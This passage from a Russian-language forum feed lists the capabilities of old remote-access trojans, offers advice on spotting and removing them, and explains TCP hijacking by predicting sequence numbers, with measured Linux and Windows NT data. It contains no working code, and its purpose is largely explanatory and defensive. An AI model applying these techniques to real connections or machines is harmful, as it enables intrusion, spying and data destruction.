/&gt;Opens the victims default Web Browser at the URL you specify &lt;br /&gt;Opens the victims Control Panel &lt;br /&gt;Opens the victims Date/Time Options &lt;br /&gt;Opens the victims Appearence Options &lt;br /&gt;Starts the victims Screen Saver &lt;br /&gt;Closes the Server on the victims machine &lt;br /&gt;Deletes a file you specify, from the victims machine &lt;br /&gt;Reboots the victims computer &lt;br /&gt;Deletes a WHOLE directory from the victims computer &lt;br /&gt;Clears the victims recent folder (The Documents folder on the START menu) &lt;br /&gt;Ends the current windows session &lt;br /&gt;Forces a shutdown ! &lt;br /&gt;Loggs the victim off his/her current windows session &lt;br /&gt;Reads from the victims floppy drive &lt;br /&gt;Sends a ping to the Server &lt;br /&gt;Sends a Message to the victim &lt;br /&gt;Returns the victims WINDOWS directory &lt;br /&gt;Returns the victims TEMP Directory &lt;br /&gt;Returns the path that the server is installed on &lt;br /&gt;Returns the victims Hard Disk Letter &lt;br /&gt;Returns the victims LOCAL TIME &lt;br /&gt;Returns the victims OPEN WINDOWS &lt;br /&gt;Maximises a window on the victims computer that you specify &lt;br /&gt;Sets the victims Computer Name &lt;br /&gt;Makes the victims Mouse &amp;quot;CRAZY&amp;quot; and uncontolable &lt;br /&gt;Returns the victims Mouse to normal &lt;br /&gt;Returns the vitims ICQ# &lt;br /&gt;Lists all the files and any directory &lt;br /&gt;Formats and drive on the victims Computer &lt;br /&gt;Closes any window on the vitims Computer &lt;br /&gt;Serches for a File, or a Pattern, on the vistims Computer &lt;br /&gt;Sets the name of Drive C: &lt;br /&gt;Sets the victims Computer Name &lt;br /&gt;Sends text to and active input box on the victims computer &lt;br /&gt;Creats a file on the victims Computer that fills up the entire drive &lt;br /&gt;Returns the Registered User of that Computer &lt;br /&gt;Returns the Registered Organization of that Computer &lt;br /&gt;Returns the amount of free space on any drive &lt;br /&gt;Returns the Operating System of the victims Computer &lt;br /&gt;Returns the Serial Number of any Disk &lt;br /&gt;Opens an FTP Server on the victims computer, gives you; List, Read Write, Delete, Make Dir, Delete Dir and Execute &lt;br /&gt;information as text, that &amp;quot;infected&amp;quot; user enters to any window containing password field. &lt;br /&gt;information aspasswords, which &amp;quot;infected&amp;quot; user enters to password fields. &lt;br /&gt;send &amp;quot;system&amp;quot; messages to remote PC. &lt;br /&gt;play sounds. &lt;br /&gt;show bitmaps (.bmp pictures). &lt;br /&gt;run exe files. &lt;br /&gt;send &amp;quot;victim&amp;quot; to any URL. &lt;br /&gt;change server&#039;s port. &lt;br /&gt;hide GF Client with BOSSKEY=F12. &lt;br /&gt;scan subnet for infected servers. &lt;br /&gt;save windows list. &lt;br /&gt;work with files and folders using GF filemanager. &lt;br /&gt;Shutdown Remote Computer &lt;br /&gt;Restart Remote Computer &lt;br /&gt;Log-Off Remote Computer &lt;br /&gt;Restart Remote Computer in MS-DOS &lt;br /&gt;Close Remote Computer Spy &lt;br /&gt;Remove Remote Computer Spy &lt;br /&gt;Open Remote Computer CD-ROM &lt;br /&gt;Close Remote Computer CD-ROM &lt;br /&gt;Disconnect Remote Computer &lt;br /&gt;Disable Ctrl+Alt+Del On Remote Computer &lt;br /&gt;Enable Ctrl+Alt+Del On Remote Computer &lt;br /&gt;Hide Remote Computer Taskbar &lt;br /&gt;Show Remote Computer Taskbar &lt;br /&gt;Turn Caps Lock On On Remote Computer &lt;br /&gt;Turn Caps Lock Off On Remote Computer &lt;br /&gt;Turn Num Lock On On Remote Computer &lt;br /&gt;Turn Num Lock Off On Remote Computer &lt;br /&gt;Change Remote Computer Computer Name &lt;br /&gt;Change Remote Computer Recycling Bin Name &lt;br /&gt;Swap Remote Computer Mouse Buttons &lt;br /&gt;Unswap Remote Computer Mouse Buttons &lt;br /&gt;Set Remote Computer Cursor Position &lt;br /&gt;Show Remote Computer Cursor &lt;br /&gt;Hide Remote Computer Cursor &lt;br /&gt;Get Mouse Double Click Speed Of Remote Computer &lt;br /&gt;Set Mouse Double Click Speed Of Remote Computer &lt;br /&gt;Get Remote Computer Windows Mode &lt;br /&gt;Get Remote Computer Amount Of Mouse Buttons &lt;br /&gt;Get Remote Computer Windows Run Time &lt;br /&gt;Get Remote Computer Free Space On C:\ &lt;br /&gt;Get Current User Logged In On Remote Computer &lt;br /&gt;Get Serial Number Of Drive C:\ On Remote Computer &lt;br /&gt;Get Remote Computer Temp Directory &lt;br /&gt;Get Remote Computer Windows Directory &lt;br /&gt;Get Remote Computer Windows System Directory &lt;br /&gt;Get Resolution Of Remote Computer &lt;br /&gt;Set Resolution Of Remote Computer &lt;br /&gt;Start Remote Computer Default Screen Saver &lt;br /&gt;Set Remote Computer Start Menu Pop-up Speed &lt;br /&gt;Add A Line To Remote Computer Autoexec.bat File &lt;br /&gt;Get Percent Of Memory Used On Remote Computer &lt;br /&gt;Get Number Of Bytes In Physical Memory Of Remote Computer &lt;br /&gt;Get Available Bytes Of Physical Memory On Remote Computer &lt;br /&gt;Get Total Memory Amount In Page File On Remote Computer &lt;br /&gt;Get Available Memory Amount In Page File On Remote Computer &lt;br /&gt;Get Total Amount Of Virtual Memory On Remote Computer &lt;br /&gt;Get Available Amount Of Virtual Memory On Remote Computer &lt;br /&gt;Pop-up Remote Computer Message &lt;br /&gt;Delete Files &lt;br /&gt;Copy Remote Computer Files &lt;br /&gt;Rename Remote Computer Files &lt;br /&gt;Create Remote Computer Files &lt;br /&gt;Close Remote Computers Programs &lt;br /&gt;Get List Of Running Remote Computer Programs &lt;br /&gt;Set Spy Password On Remote Computer &lt;br /&gt;Server Admin (set password, close server, restrict access) &lt;br /&gt;Host Info (system info, cached passwords) &lt;br /&gt;Message Manager &lt;br /&gt;File Manager (create/delete folder, upload/download/delete file) &lt;br /&gt;Window Manager &lt;br /&gt;Registry Manager &lt;br /&gt;Sound System Balance &lt;br /&gt;Plugin Manager &lt;br /&gt;Port Redirect &lt;br /&gt;Application Redirect &lt;br /&gt;File Actions (execute file, play sound, show image, open document, print document) &lt;br /&gt;Spy Functions (keyboard listen, capture screen image, capture camera video, record sound) &lt;br /&gt;Exit Windows (logoff, poweroff, reboot, shutdown) &lt;br /&gt;Client chat &lt;br /&gt;Open/Close CDROM &lt;br /&gt;Keyboard (disable keys, key click, restore keys) &lt;br /&gt;Mouse (swap buttons, resore buttons) &lt;br /&gt;Go To URL &lt;br /&gt;Send Text &lt;br /&gt;Send message &lt;br /&gt;Shutdown remote computer &lt;br /&gt;Download files &lt;br /&gt;Upload files &lt;br /&gt;Delete files &lt;br /&gt;Execute files &lt;br /&gt;Create folders &lt;br /&gt;Screeb capture &lt;br /&gt;View process list &lt;br /&gt;Kill process &lt;br /&gt;tell the server to upload the specified local file via ftp to remote path &lt;br /&gt;tell the server to download the specified remote file via ftp to local path &lt;br /&gt;execute a file (show window, hide window) &lt;br /&gt;change directory &lt;br /&gt;list directory &lt;br /&gt;create directory &lt;br /&gt;remove directory &lt;br /&gt;show current dir &lt;br /&gt;copy file &lt;br /&gt;move file &lt;br /&gt;rename file &lt;br /&gt;delete file &lt;br /&gt;type the specified text file &lt;br /&gt;shows an hexadecimal dump of the specified binary or text file &lt;br /&gt;shows the specified message into a dialog box on the server &lt;br /&gt;locks up the server &lt;br /&gt;trashes the server and locks it up &lt;br /&gt;create the specified registry key &lt;br /&gt;deletes the specified registry key &lt;br /&gt;deletes the specified registry value &lt;br /&gt;determines if a key or a name exists &lt;br /&gt;sets the currently open registry key &lt;br /&gt;read the specified key&#039;s value &lt;br /&gt;creates or updates the specified key and associated value &lt;br /&gt;lists available keys in the currently open key &lt;br /&gt;lists available values in the currently open key &lt;br /&gt;terminates the current session only &lt;br /&gt;terminates all connections and unloads the server &lt;br /&gt;Log all of the Dial-Up Networking accounts on a remote computer &lt;br /&gt;Capturing full-size screen &lt;br /&gt;Kill any programm (window) &lt;br /&gt;View help screen &lt;br /&gt;Shutdown remote machine &lt;br /&gt;Reboot remote machine &lt;br /&gt;Logoff remote machine &lt;br /&gt;Hide active window &lt;br /&gt;Destroy active window &lt;br /&gt;Kill window with matching title &lt;br /&gt;List files in current directory &lt;br /&gt;Change directory to [dir] &lt;br /&gt;Execute DOS command &lt;br /&gt;Launch application &lt;br /&gt;Send message &lt;br /&gt;Chat with remote &lt;br /&gt;Enter notification mode &lt;br /&gt;Sends some information - process list and more &lt;br /&gt;Exits server &lt;br /&gt;Disconnects you from server &lt;br /&gt;Remove server from remote computer memory &lt;br /&gt;Destroy the server autostart &lt;br /&gt;Take rights on server &lt;br /&gt;Change &amp;amp; delete password &lt;br /&gt;Send dialog box with OK button &lt;br /&gt;Send dialog box with Yes/No buttons &lt;br /&gt;Change folder &lt;br /&gt;Make new folder &lt;br /&gt;Remove folder &lt;br /&gt;Delete files &lt;br /&gt;List Files &lt;br /&gt;Get current directory &lt;br /&gt;Get logical drives &lt;br /&gt;Lock/Unlock desktop &lt;br /&gt;Make a puzzle with remote desktop &lt;br /&gt;Stars On/Off on remote desktop &lt;br /&gt;Hide/Show Start button &lt;br /&gt;Hide/Show Taskbar &lt;br /&gt;Hide/Show Desktop &lt;br /&gt;Execute application (Normal/Minimized/Maximized/Hidden Status) &lt;br /&gt;List/Kill 32 bit process &lt;br /&gt;LogOff user &lt;br /&gt;Reboot system &lt;br /&gt;Shutdown system &lt;br /&gt;Get user name &lt;br /&gt;Get computer name &lt;br /&gt;Get date &amp;amp; time &lt;br /&gt;Keyboard Lights Bomb &lt;br /&gt;Lock/Unlock Mouse &lt;br /&gt;Move Mouse &lt;br /&gt;Monitor On/Off &lt;br /&gt;Flip Screen &lt;br /&gt;Open/Close CD-ROM Drive &lt;br /&gt;Flood Server Printer &lt;br /&gt;System Keys ON/OFF &lt;br /&gt;Clipboard Lock &lt;br /&gt;Screen Saver Bomb &lt;br /&gt;Hide/Show Taskbar &lt;br /&gt;Hide/Show Start Button &lt;br /&gt;Disable/Enable Start Button &lt;br /&gt;Active the Screen Saver &lt;br /&gt;Remove Desktop Wallpaper &lt;br /&gt;Change Desktop Wallpaper &lt;br /&gt;Modify Remote Date &lt;br /&gt;Close Server EXE &lt;br /&gt;Delete Server EXE &lt;br /&gt;Lock Up the System &lt;br /&gt;Close all Programs &lt;br /&gt;Exit Windows &lt;br /&gt;Shutdown Windows &lt;br /&gt;MSG Box [Chat] &lt;br /&gt;Send Text &lt;br /&gt;Get Server Information &lt;br /&gt;View Remote Passwords &lt;br /&gt;View Remote Netstat &lt;br /&gt;View Active Process &lt;br /&gt;Open Server Hard Disk &lt;br /&gt;Play Wav Files &lt;br /&gt;Delete and Execute Files &lt;br /&gt;Modify Remote Autoexec.bat &lt;/p&gt;
						&lt;p&gt;Также хотел привести некоторые мои наблюдения: &lt;/p&gt;
						&lt;p&gt;Работа антивирусников (очень поверхностно, буду признателен за любые дополнения). &lt;/p&gt;
						&lt;p&gt;1. Norton Antivirus при проверке моего диска, на котором находится архив имеющихся в моем распоряжении троянцев (80 mb), пищит и скринит на BO, NETBUS, Millenium и что то еще. &lt;/p&gt;
						&lt;p&gt;2. McAfee как-то вяло реагировало на BO, кричало, било себя лицом об экран, но удалить не смогло или поленилось (y меня 3.x мотор от McAfee и я, если честно, мало им пользуюсь, не нравится он мне внешне:) Несимпатичный какой то антивирус ). &lt;/p&gt;
						&lt;p&gt;Что касается обнаружения на nework у себя в конторе -- NetBus имеет встроенный, замечательный сканер, он сам вам все скажет. Для всех других я настроил сканнер, сохранил адреса портов, и оно себе бегает и бегает, когда надо кричит, бьет посуду и требует внимания к собственной персоне. &lt;/p&gt;
						&lt;p&gt;Почему собственно все BO да NetBus -- опять же из моего личного опыта - из тысяч и тысяч попыток обнаружить у меня в сетях зараженный компьютер, добрые процентов 70 были направлены на поиск BO и NetBus. (Bo - windows 95, NetBus - 95/NT) &lt;/p&gt;
						&lt;p&gt;Теперь об известных мне способах получения троянцев вне своего желания:) &lt;/p&gt;
						&lt;p&gt;1. Любой self-extract архив типа zip, rar и так далее. Сначала ставит троян, потом себя куда прикажете &lt;/p&gt;
						&lt;p&gt;2. Файлы для MS Word97 можете позвонить троянцу прямо с страницы. ( macros ) &lt;/p&gt;
						&lt;p&gt;3. Понятное дело, любой download с веба, будь то гороскоп или открытка для мамы-папы, или от мамы-папы. &lt;/p&gt;
						&lt;p&gt;4. Про ActiveX плугины и технологии я просто умолчу из страха потревожить эту тему. &lt;/p&gt;
						&lt;p&gt;5. Понятное дело, всяческие приколки в виде рождественских бегающих по экрану елок с встроенным трояно-довеском, всевозможые емейлы от незнакомых но любящих вас людей. Диски с беспатными скрин-серверами бесплатно раздаваемые в downtown Washington, DC ... (когда следующий день задали вопрос распространителю, он бросил все эти диски и убежал, только пятки сверкали) &lt;/p&gt;
						&lt;p&gt;Как провериться? &lt;/p&gt;
						&lt;p&gt;1. Неплохо бы регулярно посмотривать, что у вас бегает на запуске NT или windows. Смотреть реестр, autoexec и startup. Если есть какой-то неизвестный Elki_palki.exe, и он там прописан - посмотрите внимательнее и разберитесь с проблеммой. &lt;/p&gt;
						&lt;p&gt;2. Не советую ставить неизвестный софт с веба на серверах и особенно с админовскими правами (NT) &lt;/p&gt;
						&lt;p&gt;3. Не забывайте про свой таск бар -- что там творится? что это за Elki_palki.exe? Для этого существует масса утилит, к примеру Microsoft Process Viewer Application, это приложение к VC++. Очень замечательная програмка. И покажет и накажет!:) &lt;/p&gt;
						&lt;p&gt;4. В NT посматривайте за реестром, для этого есть к примеру Regmon for Windows NT/9x. Найти ее можно на &lt;a href=&quot;http://www.sysinternals.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.sysinternals.com&lt;/a&gt;. &lt;/p&gt;
						&lt;p&gt;5. Смотрите за инсталляцией software, имейте лог полного инстала - там будет написано, что перед тем как создать директорию c:\Doom сначала был скопираван файл C:\Windows\system\patch.exe /nomsg и в регистрах была произведена запись о бракосочетании. Существует большое количество софта, помогающего вам просмотреть лог, например, &amp;quot;InCtrl 3&amp;quot; (&amp;quot;InCtrl 3 lets you track system changes made by Windows 95 and Windows NT installation programs....&amp;quot;) &lt;/p&gt;
						&lt;p&gt;6. Иногда полезно посканить свой собственный компьютер на предмет чем слушаем, чем воду пьем, я имею в виду открытые порты. &lt;/p&gt;
						&lt;p&gt;Как бороться? &lt;/p&gt;
						&lt;p&gt;Существуют многие и многие виды автоматических удовлетворителей пользователей путем выуживания подлого врага с их компьютеров и публичного сжигания кнопкой YES в боксе &amp;quot;Сжигать будем?&amp;quot;. Я не то что бы не верю им, или думаю, что они-то и являются главным источником заразы, нет. Просто ну не люблю я, когда откуда-то берется &amp;quot;Вася Пупкин и Co&amp;quot; с трояндетектором. Также я не люблю, когда McAfee шлет мне длинные письма, с восторгом рассказывая, что у них обнаружено новое противоядие от только что ими изобретенного вируса. Словом -- полагайтесь на свою голову и не ленитесь. Смотрите, что ставите, куда ставите, откуда берете, и что оно и где пишет, как много есть ресурсов. И не будьте наивны, когда ваш сиди перестает играть, появляются msg на экране с воплями MUST DIE, и компьютер начинает очень тормозить! Найдите тому причину... &lt;/p&gt;
						&lt;p&gt;Очень важно при наличии какого-либо серьезного признака присутствия инородного вмешательства оборвать свой телефонный провод (волокно, нетворк cable). И, перейдя на другую машину, а может и пользуясь ранее сохраненной на диске информацией, найти причину и устранить ее. Одним словом говоря -- лист имен файлов, предоставленный мной, поможет найти подлеца, а при наличии записи о нем в Регистрах в разделе RUN* наведет вас на очень конкретные мысли, надеюсь. &lt;/p&gt;
						&lt;p&gt;Как велика возможность того, что меня будут сканить, и грозит ли мне это чем-либо? &lt;/p&gt;
						&lt;p&gt;Ничем это вам не грозит, если вы не поражены &amp;quot;недугом&amp;quot;. Это как смотреть в пустой кошелек: кушать хочется, а денег нету. Другое дело - деньги положить туда можно (см. &amp;quot;о способах получения&amp;quot;), и тогда давайте все покушаем. Тем не менее, если вы часто онлайн и в публичных местах наподобие IRC, поставьте себе какой-либо порт смотритель. Внесите туда порты -- и в какой-то прекрасный день вы сможете увидеть IP адрес &amp;quot;злостного хакера&amp;quot; &lt;/p&gt;
						&lt;p&gt;Группы риска: &lt;br /&gt;1.IRC пользователи. &lt;br /&gt;2.ICQ пользователи. &lt;br /&gt;3.Получатели емейлов от незнакомых людей. &lt;br /&gt;4.Пользователи неизвестного софта с неизвестных вебсайтов, выполняющего неизвестные вещи с неизвестной целью. &lt;br /&gt;5.Пользователи больших сетей, по принципу -- не вы, так ваш сосед. &lt;br /&gt;6.Коллекционеры чего угодно -- гифов, картинок, порнографии -- если вы сняли какой-либо самораскрывающийся архив с предметами вашей страсти, будте готовы, что кто то получил ваш айпи и спешит к вам утешить свои страсти. &lt;/p&gt;
						&lt;p&gt;На этом, пожалуй, все...:) &lt;/p&gt;
						&lt;p&gt;Желаю вам всего самого лучшего.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:48:11 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=22#p22</guid>
		</item>
		<item>
			<title>TCP под прицелом (TCP - hijacking)</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=21#p21</link>
			<description>&lt;p&gt;Протокол TCP (Transmission Control Protocol) является одним из базовых протоколов транспортного уровня сети Internet. Этот протокол позволяет исправлять ошибки, которые могут возникнуть в процессе передачи пакетов, и является протоколом с установлением логического соединения - виртуального канала. По этому каналу передаются и принимаются пакеты с регистрацией их последовательности, осуществляется управление потоком пакетов, организовывается повторная передача искаженных пакетов, а в конце сеанса канал разрывается. При этом протокол TCP является единственным базовым протоколом из семейства TCP/IP, имеющим дополнительную систему идентификации сообщений и соединения. Именно поэтому протоколы прикладного уровня FTP и TELNET, предоставляющие пользователям удаленный доступ на хосты Internet, реализованы на базе протокола TCP. &lt;/p&gt;
						&lt;p&gt;Для идентификации TCP-пакета в TCP-заголовке существуют два 32-разрядных идентификатора, которые также играют роль счетчика пакетов. Их названия - Sequence Number и Acknowledgment Number. Также нас будет интересовать поле, называемое Control Bit. Это поле размером 6 бит может содержать следующие командные биты (слева направо): &lt;/p&gt;
						&lt;p&gt;URG: Urgent Pointer field significant&lt;br /&gt;ACK: Acknowledgment field significant&lt;br /&gt;PSH: Push Function&lt;br /&gt;RST: Reset the connection&lt;br /&gt;SYN: Synchronize sequence numbers&lt;br /&gt;FIN: No more data from sender&lt;/p&gt;
						&lt;p&gt;Далее рассмотрим схему создания TCP-соединения (Рис 1).&lt;/p&gt;
						&lt;p&gt;Предположим, что хосту А необходимо создать TCP-соединение с хостом В. Тогда А посылает на В следующее сообщение:&lt;/p&gt;
						&lt;p&gt;1. A -&amp;gt; B: SYN, ISSa&lt;br /&gt;Это означает, что в передаваемом A сообщении установлен бит SYN (synchronize sequence number), а в поле Sequence Number установлено начальное 32-битное значение ISSa (Initial Sequence Number).&lt;/p&gt;
						&lt;p&gt;В отвечает:&lt;/p&gt;
						&lt;p&gt;2. B -&amp;gt; A: SYN, ACK, ISSb, ACK(ISSa+1)&lt;/p&gt;
						&lt;p&gt;В ответ на полученный от А запрос В отвечает сообщением, в котором установлен бит SYN и установлен бит ACK; в поле Sequence Number хостом В устанавливается свое начальное значение счетчика - ISSb; поле Acknowledgment Number содержит значение ISSa, полученное в первом пакете от хоста А и увеличенное на единицу. &lt;/p&gt;
						&lt;p&gt;А, завершая рукопожатие (handshake), посылает: &lt;/p&gt;
						&lt;p&gt;3. A -&amp;gt; B: ACK, ISSa+1, ACK(ISSb+1)&lt;/p&gt;
						&lt;p&gt;В этом пакете установлен бит ACK; поле Sequence Number содержит ISSa + 1; поле Acknowledgment Number содержит значение ISSb + 1. Посылкой этого пакета на хост В заканчивается трехступенчатый handshake и TCP-соединение между хостами А и В считается установленным. &lt;/p&gt;
						&lt;p&gt;Теперь хост А может посылать пакеты с данными на хост В по только что созданному виртуальному TCP-каналу: &lt;/p&gt;
						&lt;p&gt;4. A -&amp;gt; B: ACK, ISSa+1, ACK(ISSb+1); DATA&lt;/p&gt;
						&lt;p&gt;Рис.1 Схема создания TCP-соединения&lt;/p&gt;
						&lt;p&gt;Из рассмотренной выше схемы создания TCP-соединения видно, что единственными идентификаторами TCP-абонентов и TCP-соединения являются два 32-битных параметра Sequence Number и Acknowledgment Number. Следовательно, для формирования ложного TCP-пакета атакующему необходимо знать текущие идентификаторы для данного соединения - ISSa и ISSb. Проблема возможной подмены TCP-сообщения становится еще более важной, так как анализ протоколов FTP и TELNET, реализованных на базе протокола TCP, показал, что проблема идентификации FTP и TELNET-пакетов целиком возлагается данными протоколами на транспортный уровень, то есть на TCP. Это означает, что атакующему достаточно, подобрав соответствующие текущие значения идентификаторов TCP-пакета для данного TCP-соединения (например, данное соединение может представлять собой FTP или TELNET подключение), послать пакет с любого хоста в сети Internet от имени одного из участников данного соединения (например, от имени клиента) и данный пакет будет воспринят как верный! К тому же, так как FTP и TELNET не проверяют IP-адреса отправителей, от которых им приходят сообщения, то, в ответ на полученный ложный пакет, FTP или TELNET-сервер отправит ответ на указанный в ложном пакете настоящий IP-адрес атакующего, то есть атакующий начнет работу с FTP или TELNET сервером со своего IP-адреса, но с правами легально подключившегося пользователя, который, в свою очередь, потеряет связь с сервером из-за рассогласования счетчиков! &lt;/p&gt;
						&lt;p&gt;Итак, для осуществления описанной выше атаки необходимым и достаточным условием является знание двух текущих 32-битных параметров ISSa и ISSb, идентифицирующих TCP-соединение. Рассмотрим возможные способы их получения. В том случае, когда атакующий находится в одном сегменте с целью атаки или через его сегмент проходит трафик предполагаемого объекта атаки, то задача получения значений ISSa и ISSb является тривиальной и решается путем анализа сетевого трафика. Следовательно, надо четко понимать, что протокол TCP позволяет в принципе защитить соединение только в случае невозможности перехвата атакующим сообщений, передаваемых по данному соединению, то есть в случае нахождения атакующего в других сегментах относительно абонентов TCP-соединения. &lt;/p&gt;
						&lt;p&gt;Поэтому наибольший интерес для нас представляют межсегментные атаки, когда атакующий и его цель находятся в разных сегментах сети. В этом случае задача получения значений ISSa и ISSb не является тривиальной. Далее предлагается следующее решение данной проблемы.&lt;/p&gt;
						&lt;p&gt;1. Математическое предсказание начального значения идентификатора TCP-соединения экстраполяцией его предыдущих значений&lt;br /&gt;Первый вопрос, который возникает в данном случае: как сетевая операционная система формирует начальное значение ISSa ( так называемый ISN - Initial Sequence Number)? Очевидно, что наилучшим решением с точки зрения безопасности будет генерация этого значения ISN по случайному закону с использованием программного (а лучше аппаратного) генератора псевдослучайных чисел с достаточно большим периодом. В этом случае каждое новое значение ISN не будет зависть от его предыдущего значения, а, следовательно, у атакующего не будет даже теоретической возможности нахождения функционального закона получения ISN. &lt;/p&gt;
						&lt;p&gt;Однако оказывается, что подобные очевидные правила случайной генерации ISN как для составителей самого описания протокола TCP (RFC 793), так и для разработчиков сетевого ядра различных операционных систем являются далеко не очевидными. Об этом говорят следующие факты. В описании протокола TCP в RFC 793 рекомендуется увеличивать значение этого 32-битного счетчика на 1 каждые 4 микросекунды (?!). А как дело обстоит на практике? Поверьте, плохо! Например, в ранних Berkeley-совместимых ядрах ОС UNIX значение этого счетчика увеличивалось на 128 каждую секунду и на 64 для каждого нового соединения. Анализ исходных текстов ядра ОС Linux 1.2.8. показал, что значение ISN вычисляется данной ОС в зависимости от текущего времени по следующему отнюдь не случайному закону:&lt;/p&gt;
						&lt;p&gt;(1) ISN = mcsec + sec*1000000, где &lt;br /&gt;mcsec - время в микросекундах; &lt;br /&gt;sec - текущее время в секундах, причем отсчет его идет от 1970 года.&lt;br /&gt;Вы думаете, что в других сетевых ОС лучше? Ошибаетесь! В ОС Windows NT 4.0 значение ISN увеличивается на 10 примерно каждую миллисекунду. То есть для Windows NT справедлива следующая формула: &lt;/p&gt;
						&lt;p&gt;(2) ISN = msec*10, где &lt;br /&gt;msec - время в миллисекундах. &lt;br /&gt;Однако больше всего автора удивил защищенный по классу B1 UNIX, установленный на многопроцессорной миниЭВМ - полнофункциональном файрволе. Эта наиболее защищенная из всех, что встречалась автору, сетевая ОС имеет также простой времязависимый алгоритм генерации начального значения идентификатора TCP - соединения. Как говорится, комментарии здесь излишни. Мало того, что в единственном базовом &amp;quot;защищенном&amp;quot;(?!) протоколе Internet - протоколе TCP, применяется простейший способ идентификации соединения, который в принципе не позволяет гарантировать надежную защиту от подмены одного из абонентов при нахождении атакующего в том же сегменте, так еще и сами разработчики сетевых ОС разрушают и без того хрупкую безопасность этого протокола, используя простые времязависимые алгоритмы генерации ISN! &lt;/p&gt;
						&lt;p&gt;Итак, в том случае, если в сетевой операционной системе используется времязависимый алгоритм генерации начального значения идентификатора TCP-соединения, то атакующий получает принципиальную возможность определить с той или иной степенью точности вид функции, описывающей закон получения ISN. Исходя из практических исследований сетевых ОС, а также из общих теоретических соображений можно предложить следующий обобщенный вид функции, описывающий времязависимый закон получения ISN:&lt;/p&gt;
						&lt;p&gt;(3) ISN = F(mсsec, msec, sec), где &lt;br /&gt;mcsec - время в микросекундах (обычно, в зависимости от аппаратного обеспечения компьютера, минимальной единицей измерения машинного времени является микросекунда - в обычных IBM это так). Этот параметр циклически изменяется за секунду от 0 до 106 - 1 &lt;br /&gt;msec - время в миллисекундах. Циклически изменяется за секунду от 0 до 999. &lt;br /&gt;sec - время в секундах. Постоянно увеличивается каждую секунду.&lt;br /&gt;Исходя из формулы (3), а также из того, что микросекунда обычно является минимальной единицей измерения машинного времени в сетевой ОС, можно для удобства аппроксимации свернуть формулу (3) до следующего вида: &lt;/p&gt;
						&lt;p&gt;(4) ISN = F(mсsec) &lt;/p&gt;
						&lt;p&gt;Таким образом мы пришли к тому, что в общем случае можно считать, что значение ISN зависит от микросекунд. Данная функция (4) в силу особенностей изменения своих аргументов обычно в сетевых ОС является или кусочнонепрерывной (непрерывной на отдельных интервалах изменения аргумента) или ступенчатой. Например зависимость (1), описывающая закон получения ISN в ОС Linux, в случае приведения ее к виду (4) является кусочнолинейной, а функциональная зависимость (2), справедливая для Windows NT, - дискретной. &lt;/p&gt;
						&lt;p&gt;Итак, определившись с единицами измерения ISN и обобщенным времязависимым законом его генерации (3)-(4), мы вплотную подошли к проблеме определения вида функциональной зависимости ISN от параметра mcsec для конкретной сетевой ОС. Первый способ получения этой зависимости - анализ исходных текстов ядра операционной системы. Использование данного способа на практике обычно оказывается невозможным из-за отсутствия исходных текстов большинства ОС. Исключение составляют ОС Linux и FreeBSD, поставляемые с исходными текстами ядра. &lt;/p&gt;
						&lt;p&gt;В связи с этим предлагается другой метод получения закона изменения ISN от параметра mcsec. В этом случае сетевая ОС рассматривается исследователем как &amp;quot;черный ящик&amp;quot;, к которому применяется метод тестирования &amp;quot;запрос-ответ&amp;quot;: на исследуемую сетевую ОС передается серия обычных запросов на создание TCP-соединения и принимается соответствующие количество ответов с текущими значениями ISN операционной системы в каждый момент времени. При этом замеряются временные интервалы (в микросекундах) прихода ответов на запросы, то есть за какое время после отправки запроса на него придет ответ и время, прошедшее между запросами. В результате исследователем будет получена следующая таблица дискретных отсчетов ISN и соответствующих им моментов времени в мксек.: &lt;/p&gt;
						&lt;p&gt;ISN0 ISN1 ... ISNn &lt;br /&gt;t0 t1 ... tn &lt;/p&gt;
						&lt;p&gt;где ISNn - значение ISN, полученное за время tn от начала эксперимента (время начала эксперимента принимается за 0). Аппроксимируя данную таблицу дискретных значений непрерывной функцией одним из известных математических методов (наименьших квадратов, например), получим с погрешностью, сравнимой с погрешностью исходных данных, непрерывную функцию изменения ISN от t, справедливую на данном временном промежутке (от 0 до tn): &lt;/p&gt;
						&lt;p&gt;(5) ISN(t) = F(t); &lt;/p&gt;
						&lt;p&gt;Эта формула в общем случае позволяет нам по предыдущему значению ISN, зная функцию изменения ISN от времени, получить следующее значение ISN. Теперь, используя данное равенство (5), атакующий может, получив в ответ на TCP-запрос текущее значение ISN для ОС в данный момент времени, математически предсказать следующее возможное значение ISN через некоторый промежуток времени. &lt;/p&gt;
						&lt;p&gt;Хотелось бы обратить внимание на следующий важный момент: чем ближе в сети находятся исследователь и тестируемая ОС, тем выше точность получения аппроксимирующей функции, так как в противном случае время за которое запрос дойдет до системы и будет выработан ISN может существенно отличаться из-за задержек в канале связи от времени передачи ответа обратно. При этом погрешность исходных данных будет увеличиваться, а точность экстраполяции - падать. &lt;/p&gt;
						&lt;p&gt;Заметим, что атакующему вовсе не обязательно проводить подобные исследования с интересующим его удаленным хостом. Достаточно только узнать тип операционной системы на предполагаемой цели атаки и получить в свое распоряжение подобную систему для определения формулы изменения ISN в данной ОС.&lt;/p&gt;
						&lt;p&gt;Что касается практических результатов, то применение описанной выше методики получения формулы ISN(t) на примере ОС Linux 1.2.8 и Windows NT 4.0 в случае нахождения в одном сегменте с данными ОС позволило определить это 32-битное значение (от 0 до 232) по его предыдущему значению для ОС Windows NT с точностью до 10, а для ОС Linux 1.2.8 с точностью примерно до 100. В следующей таблице приведены снятые в процессе эксперимента с ОС Linux 1.2.8 значения изменения ISN (а не абсолютные значения) за соответствующие промежутки времени:&lt;/p&gt;
						&lt;p&gt;t, мкс. 2759 5685 8560 11462 14303 &lt;br /&gt;dISN 65135 134234 202324 270948 338028 &lt;/p&gt;
						&lt;p&gt;Таблица изменения значения ISN для ОС Linux 1.2.8 &lt;/p&gt;
						&lt;p&gt;Следующий график, построенный по значениям из данной таблицы и справедливый для ОС Linux 1.2.8, наглядно показывает линейный характер изменения значения начального идентификатора TCP - соединения ISN на данном временном промежутке (на самом деле зависимость изменения ISN для ОС Linux 1.2.8 носит кусочно-линейный характер): &lt;/p&gt;
						&lt;p&gt;Зависимость изменения ISN от времени для Linux 1.2.8&lt;/p&gt;
